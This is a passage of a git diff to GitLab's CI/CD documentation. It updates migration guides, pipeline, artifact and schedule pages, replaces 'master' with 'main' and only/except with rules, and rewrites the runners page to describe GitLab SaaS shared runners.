to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 @@ -59,8 +59,7 @@ to run. If more merge requests are added to the train, they now include the `A` changes that are included in the target branch, and the `C` changes that are from the merge request already in the train. -Read more about -[how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). +Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch this video for a demonstration on [how parallel execution @@ -71,7 +70,7 @@ branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ). To enable merge trains: -- You must have maintainer [permissions](../../../../user/permissions.md). +- You must have the [Maintainer role](../../../../user/permissions.md). - You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. - In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later. - Your repository must be a GitLab repository, not an diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index b6c7bc6653f..eb5ed451778 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -1,12 +1,12 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- -# Migrating from CircleCI +# Migrating from CircleCI **(FREE)** If you are currently using CircleCI, you can migrate your CI/CD pipelines to [GitLab CI/CD](../introduction/index.md), and start making use of all its powerful features. Check out our @@ -41,7 +41,7 @@ jobs: Example of the same job definition in GitLab CI/CD: -``` yaml +```yaml job1: script: "execute-script-for-job1" ``` @@ -209,7 +209,7 @@ jobs: deploy: branches: only: - - master + - main - /rc-.*/ ``` @@ -221,12 +221,12 @@ deploy_prod: script: - echo "Deploy to production server" rules: - - if: '$CI_COMMIT_BRANCH == "master"' + - if: '$CI_COMMIT_BRANCH == "main"' ``` ### Caching -GitLab provides a caching mechanism to speed up build times for your jobs by reusing previously downloaded dependencies. It's important to know the different between [cache and artifacts](../caching/index.md#cache-vs-artifacts) to make the best use of these features. +GitLab provides a caching mechanism to speed up build times for your jobs by reusing previously downloaded dependencies. It's important to know the different between [cache and artifacts](../caching/index.md#how-cache-is-different-from-artifacts) to make the best use of these features. CircleCI example of a job using a cache: @@ -265,7 +265,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index c278160d5ee..812f1caa5d1 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -1,12 +1,12 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- -# Migrating from Jenkins +# Migrating from Jenkins **(FREE)** A lot of GitLab users have successfully migrated to GitLab CI/CD from Jenkins. To make this easier if you're just getting started, we've collected several resources here that you might find useful @@ -128,16 +128,16 @@ agents you were using. There are some important differences in the way runners work in comparison to agents: -- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). +- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/runners_scope.md). They self-select jobs from the scopes you've defined automatically. -- You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and +- You can also [use tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. - GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html). Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. -If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) +If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/README.md) to run jobs without provisioning your own runners. We are investigating making them [available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835) as well. @@ -230,7 +230,7 @@ and is meant to be a mapping of concepts there to concepts in GitLab. The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). -We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs +We also support using [tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use @@ -349,12 +349,14 @@ variable entry. GitLab does support a [`when` keyword](../yaml/README.md#when) which is used to indicate when a job should be run in case of (or despite) failure, but most of the logic for controlling pipelines can be found in -our very powerful [`only/except` rules system](../yaml/README.md#only--except) -(see also our [advanced syntax](../yaml/README.md#only--except)): +our very powerful [`rules` system](../yaml/README.md#rules): ```yaml my_job: - only: [branches] + script: + - echo + rules: + - if: $CI_COMMIT_BRANCH ``` ## Additional resources diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index c1e552f5a9d..acdbe0455ba 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -271,7 +271,7 @@ trigger_job: ### Mirroring status from upstream pipeline You can mirror the pipeline status from an upstream pipeline to a bridge job by -using the `needs:pipeline` keyword. The latest pipeline status from master is +using the `needs:pipeline` keyword. The latest pipeline status from the default branch is replicated to the bridge job. Example: diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index 1a0421258fd..82bac7c51d2 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -38,7 +38,7 @@ set of concurrently running child pipelines, but within the same project: Child pipelines work well with other GitLab CI/CD features: -- Use [`only: changes`](yaml/README.md#onlychanges--exceptchanges) to trigger pipelines only when +- Use [`rules: changes`](yaml/README.md#ruleschanges) to trigger pipelines only when certain files change. This is useful for monorepos, for example. - Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal pipelines, they can have their own behaviors and sequencing in relation to triggers. diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index fa8a4cedf6f..af6b9e5b6b3 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/ci/pipelines.html' type: reference @@ -147,10 +147,11 @@ The pipeline now executes the jobs as configured. > [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. You can use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) -keywords to define [variables](../variables/README.md) that are prefilled when running -a pipeline manually. +keywords to define +[pipeline-level (global) variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +that are prefilled when running a pipeline manually. -In pipelines triggered manually, the **Run pipelines** page displays all variables +In pipelines triggered manually, the **Run pipelines** page displays all top-level variables with a `description` and `value` defined in the `.gitlab-ci.yml` file. The values can then be modified if needed, which overrides the value for that single pipeline run. @@ -164,6 +165,8 @@ variables: description: "The deployment target. Change this variable to 'canary' or 'production' if needed." ``` +You cannot set job-level variables to be pre-filled when you run a pipeline manually. + ### Run a pipeline by using a URL query string > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24146) in GitLab 12.5. @@ -226,7 +229,7 @@ This functionality is only available: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24851) in GitLab 12.7. -Users with [owner permissions](../../user/permissions.md) in a project can delete a pipeline +Users with the [Owner role](../../user/permissions.md) in a project can delete a pipeline by clicking on the pipeline in the **CI/CD > Pipelines** to get to the **Pipeline Details** page, then using the **Delete** button. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index 76f05f5e1e7..0bb7007e7a9 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -1,12 +1,12 @@ --- stage: Verify -group: Continuous Integration +group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html' type: reference, howto --- -# Job artifacts +# Job artifacts **(FREE)** > Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled. @@ -140,10 +140,10 @@ namespace: https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/download?job=coverage ``` -To download the file `coverage/index.html` from the same artifacts: +To download the file `review/index.html` from the same artifacts: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/raw/coverage/index.html?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/raw/review/index.html?job=coverage ``` To browse the latest job artifacts: @@ -155,7 +155,7 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/browse?job=<job For example: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/browse?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/browse?job=coverage ``` To download specific files, including HTML files that @@ -168,7 +168,7 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/file/<path>?job For example, when a job `coverage` creates the artifact `htmlcov/index.html`: ```plaintext -https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/file/htmlcov/index.html?job=coverage +https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/file/htmlcov/index.html?job=coverage ``` ## When job artifacts are deleted diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 73677dd6986..78031ec1d97 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -1,11 +1,11 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Pipeline Architecture +# Pipeline architecture **(FREE)** Pipelines are the fundamental building blocks for CI/CD in GitLab. This page documents some of the important concepts related to them. diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md index bc770dd3d90..b80a056bbca 100644 --- a/doc/ci/pipelines/pipeline_artifacts.md +++ b/doc/ci/pipelines/pipeline_artifacts.md @@ -1,11 +1,11 @@ --- stage: Verify -group: Continuous Integration +group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- -# Pipeline artifacts +# Pipeline artifacts **(FREE)** Pipeline artifacts are files created by GitLab after a pipeline finishes. These are different than [job artifacts](job_artifacts.md) because they are not explicitly managed by the `.gitlab-ci.yml` definitions. @@ -17,5 +17,10 @@ Pipeline artifacts are saved to disk or object storage. They count towards a pro ## When pipeline artifacts are deleted -See the [`expire_in`](../yaml/README.md#artifactsexpire_in) documentation for information on when -pipeline artifacts are deleted. +Pipeline artifacts are deleted either: + +- Seven days after creation. +- After another pipeline runs successfully, if they are from the most recent successful + pipeline. + +This deletion may take up to two days. diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 2deb3b27748..5bb435dddf6 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -1,11 +1,11 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Pipeline Efficiency +# Pipeline efficiency **(FREE)** [CI/CD Pipelines](index.md) are the fundamental building blocks for [GitLab CI/CD](../README.md). Making pipelines more efficient helps you save developer time, which: diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index fb8de034d2a..c6a40039816 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules.html' type: reference, howto @@ -8,9 +8,6 @@ type: reference, howto # Pipeline schedules **(FREE)** -> - Introduced in GitLab 9.1 as [Trigger Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10533). -> - [Renamed to Pipeline Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10853) in GitLab 9.2. - Pipelines are normally run based on certain conditions being met. For example, when a branch is pushed to repository. Pipeline schedules can be used to also run [pipelines](index.md) at specific intervals. For example: @@ -54,31 +51,29 @@ is installed on. ### Using variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4. - You can pass any number of arbitrary variables. They are available in GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).  -### Using only and except +### Using `rules` To configure a job to be executed only when the pipeline has been -scheduled (or the opposite), use -[only and except](../yaml/README.md#only--except) configuration keywords. +scheduled, use the [`rules`](../yaml/README.md#rules) keyword. -In the example below `make world` runs in scheduled pipelines, and `make build` runs in pipelines that are not scheduled: +In this example, `make world` runs in scheduled pipelines, and `make build` +runs in branch and tag pipelines: ```yaml job:on-schedule: - only: - - schedules + rules: + - if: $CI_PIPELINE_SOURCE == "schedule" script: - make world job: - except: - - schedules + rules: + - if: $CI_PIPELINE_SOURCE = "push" script: - make build ``` diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 31e42a2cb68..2e842856e55 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.html' type: reference, howto @@ -35,7 +35,7 @@ There are two options. Using: back to clone if it doesn't exist). This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy). -The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/README.md#git-strategy) +The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy) in `.gitlab-ci.yml`. ## Git shallow clone @@ -66,14 +66,14 @@ if the job surpasses the threshold, it is marked as failed. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7. Project defined timeout (either specific timeout set by user or the default -60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner). +60 minutes timeout) may be [overridden for runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner). ## Maximum artifacts size **(FREE SELF)** For information about setting a maximum artifact size for a project, see [Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). -## Custom CI/CD configuration path +## Custom CI/CD configuration file > [Support for external `.gitlab-ci.yml` locations](https://gitlab.com/gitlab-org/gitlab/-/issues/14376) introduced in GitLab 12.6. @@ -87,7 +87,7 @@ To customize the path: 1. Provide a value in the **CI/CD configuration file** field. 1. Click **Save changes**. -If the CI configuration is stored in the repository in a non-default +If the CI/CD configuration file is stored in the repository in a non-default location, the path must be relative to the root directory. Examples of valid paths and file names include: @@ -96,11 +96,11 @@ paths and file names include: - `my/path/.gitlab-ci.yml` - `my/path/.my-custom-file.yml` -If hosting the CI configuration on an external site, the URL link must end with `.yml`: +If hosting the CI/CD configuration file on an external site, the URL link must end with `.yml`: - `http://example.com/generate/ci/config.yml` -If hosting the CI configuration in a different project in GitLab, the path must be relative +If hosting the CI/CD configuration file in a different project in GitLab, the path must be relative to the root directory in the other project. Include the group and project name at the end: - `.gitlab-ci.yml@mygroup/another-project` @@ -149,7 +149,7 @@ averaged. - JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`. - `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`. - .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`. -- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+\.?\d+)`. +- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`. <!-- vale gitlab.Spelling = YES --> @@ -318,7 +318,7 @@ Markdown code embeds the test coverage report badge of the `coverage` job into your `README.md`: ```markdown - + ``` ### Badge styles @@ -331,7 +331,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat ``` -  +  - Flat square ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8): @@ -339,7 +339,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square ``` -  +  ### Custom badge text @@ -348,10 +348,10 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n The text for a badge can be customized to differentiate between multiple coverage jobs that run in the same pipeline. Customize the badge text and width by adding the `key_text=custom_text` and `key_width=custom_key_width` parameters to the URL: ```plaintext -https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 +https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 ``` - + <!-- ## Troubleshooting diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index d20a0f0d4a1..225794aec17 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,13 +13,16 @@ GitLab [continuous integration](https://about.gitlab.com/stages-devops-lifecycle Before you start, make sure you have: - A project in GitLab that you would like to use CI/CD for. -- Maintainer or owner access for the project. +- The [Maintainer or Owner role](../../user/permissions.md) for the project. If you are migrating from another CI/CD tool, view this documentation: - [Migrate from CircleCI](../migration/circleci.md). - [Migrate from Jenkins](../migration/jenkins.md). +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [First time GitLab & CI/CD](https://www.youtube.com/watch?v=kTNfi5z6Uvk&t=553s). This includes a quick introduction to GitLab, the first steps with CI/CD, building a Go project, running tests, using the CI/CD pipeline editor, detecting secrets and security vulnerabilities and offers more exercises for async practice. +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [Intro to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=358s). This workshop uses the Web IDE to quickly get going with building source code using CI/CD, and run unit tests. + ## CI/CD process overview To use GitLab CI/CD: @@ -38,7 +41,7 @@ The job results [are displayed in a pipeline](#view-the-status-of-your-pipeline- In GitLab, runners are agents that run your CI/CD jobs. You might already have runners available for your project, including -[shared runners](../runners/README.md#shared-runners), which are +[shared runners](../runners/runners_scope.md), which are available to all projects in your GitLab instance. To view available runners: @@ -73,7 +76,7 @@ All of this is defined in the `.gitlab-ci.yml` file. To create a `.gitlab-ci.yml` file: -1. Go to **Project overview > Details**. +1. On the left sidebar, select **Project information > Details**. 1. Above the file list, select the branch you want to commit to, click the plus icon, then select **New file**: @@ -147,7 +150,7 @@ When you committed your changes, a pipeline started. To view your pipeline: -- Go **CI/CD > Pipelines**. +- Go to **CI/CD > Pipelines**. A pipeline with three stages should be displayed: @@ -162,3 +165,8 @@ To view your pipeline:  If the job status is `stuck`, check to ensure a runner is properly configured for the project. + +> To learn more about GitLab CI/CD, check out these video walkthroughs: +> +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [First time GitLab & CI/CD](https://www.youtube.com/watch?v=kTNfi5z6Uvk&t=150s). +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [Intro to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=358s). diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index 122f9caebe7..a64efd50f6f 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -77,7 +77,7 @@ the **Enable Review Apps** button and GitLab prompts you with a template code bl you can copy and paste into `.gitlab-ci.yml` as a starting point. To do so: 1. Go to the project your want to create a Review App job for. -1. From the left nav, go to **Operations** > **Environments**. +1. From the left nav, go to **Deployments > Environments**. 1. Click on the **Enable Review Apps** button. It is available to you if you have Developer or higher [permissions](../../user/permissions.md) to that project. 1. Copy the provided code snippet and paste it into your diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index d09daea9a75..b493da993ca 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -5,844 +5,285 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Configuring runners in GitLab +# GitLab SaaS runners -In GitLab CI/CD, runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md). -A runner is a lightweight, highly-scalable agent that picks up a CI job through -the coordinator API of GitLab CI/CD, runs the job, and sends the result back to the GitLab instance. +If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can +[install and configure your own runners](https://docs.gitlab.com/runner/install/). -Runners are created by an administrator and are visible in the GitLab UI. -Runners can be specific to certain projects or available to all projects. +If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required. +Your jobs can run on [Linux](#linux-shared-runners) or [Windows](#windows-shared-runners-beta). -This documentation is focused on using runners in GitLab. -If you need to install and configure GitLab Runner, see -[the GitLab Runner documentation](https://docs.gitlab.com/runner/). +The number of minutes you can use on these shared runners depends on your +[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota), +which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes). -## Types of runners +## Linux shared runners -In the GitLab UI there are three types of runners, based on who you want to have access: +Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform. -- [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance. -- [Group runners](#group-runners) are available to all projects and subgroups in a group. -- [Specific runners](#specific-runners) are associated with specific projects. - Typically, specific runners are used for one project at a time. +Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com. -### Shared runners +GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. -*Shared runners* are available to every project in a GitLab instance. +All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine +installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default +region of the VMs is US East1. +Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. -Use shared runners when you have multiple jobs with similar requirements. Rather than -having multiple runners idling for many projects, you can have a few runners that handle -multiple projects. +The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. -If you are using a self-managed instance of GitLab: +Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), +**time out after 3 hours**, regardless of the timeout configured in a +project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. -- Your administrator can install and register shared runners by - going to your project's **Settings > CI/CD**, expanding the **Runners** section, - and clicking **Show runner installation instructions**. - These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html). -- The administrator can also configure a maximum number of shared runner [pipeline minutes for - each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). +Below are the shared runners settings. -If you are using GitLab.com: +| Setting | GitLab.com | Default | +| ----------- | ----------------- | ---------- | +| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - | +| Executor | `docker+machine` | - | +| Default Docker image | `ruby:2.5` | - | +| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` | -- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). -- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) - included with your account. +### Pre-clone script -#### How shared runners pick jobs +Linux shared runners on GitLab.com provide a way to run commands in a CI +job before the runner attempts to run `git init` and `git fetch` to +download a GitLab repository. The +[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) +can be used for: -Shared runners process jobs by using a fair usage queue. This queue prevents -projects from creating hundreds of jobs and using all available -shared runner resources. +- Seeding the build directory with repository data +- Sending a request to a server +- Downloading assets from a CDN +- Any other commands that must run before the `git init` -The fair usage queue algorithm assigns jobs based on the projects that have the -fewest number of jobs already running on shared runners. +To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called +`CI_PRE_CLONE_SCRIPT` that contains a bash script. -**Example 1** +[This example](../../development/pipelines.md#pre-clone-step) +demonstrates how you might use a pre-clone step to seed the build +directory. -If these jobs are in the queue: +### `config.toml` -- Job 1 for Project 1 -- Job 2 for Project 1 -- Job 3 for Project 1 -- Job 4 for Project 2 -- Job 5 for Project 2 -- Job 6 for Project 3 - -The fair usage algorithm assigns jobs in this order: - -1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). -1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running). -1. Job 6 is next, because 6 is now the lowest job number from projects with no running jobs (Projects 1 and 2 have jobs running). -1. Job 2 is next, because, of projects with the lowest number of jobs running (each has 1), it is the lowest job number. -1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3. -1. Finally is Job 3... because it's the only job left. - ---- - -**Example 2** - -If these jobs are in the queue: - -- Job 1 for Project 1 -- Job 2 for Project 1 -- Job 3 for Project 1 -- Job 4 for Project 2 -- Job 5 for Project 2 -- Job 6 for Project 3 - -The fair usage algorithm assigns jobs in this order: - -1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). -1. We finish Job 1. -1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number. -1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). -1. We finish Job 4. -1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again. -1. Job 6 is next, because Project 3 is the only project left with no running jobs. -1. Lastly we choose Job 3... because, again, it's the only job left. - -#### Enable shared runners - -On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by -default. - -On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html) -and [register](https://docs.gitlab.com/runner/register/index.html) them. - -You can also enable shared runners for individual projects. - -To enable shared runners: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Select **Enable shared runners for this project**. - -#### Disable shared runners - -You can disable shared runners for individual projects or for groups. -You must have Owner permissions for the project or group. - -To disable shared runners for a project: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared runners** area, select **Enable shared runners for this project** so the toggle is grayed-out. - -Shared runners are automatically disabled for a project: - -- If the shared runners setting for the parent group is disabled, and -- If overriding this setting is not permitted at the project level. - -To disable shared runners for a group: - -1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared runners** area, turn off the **Enable 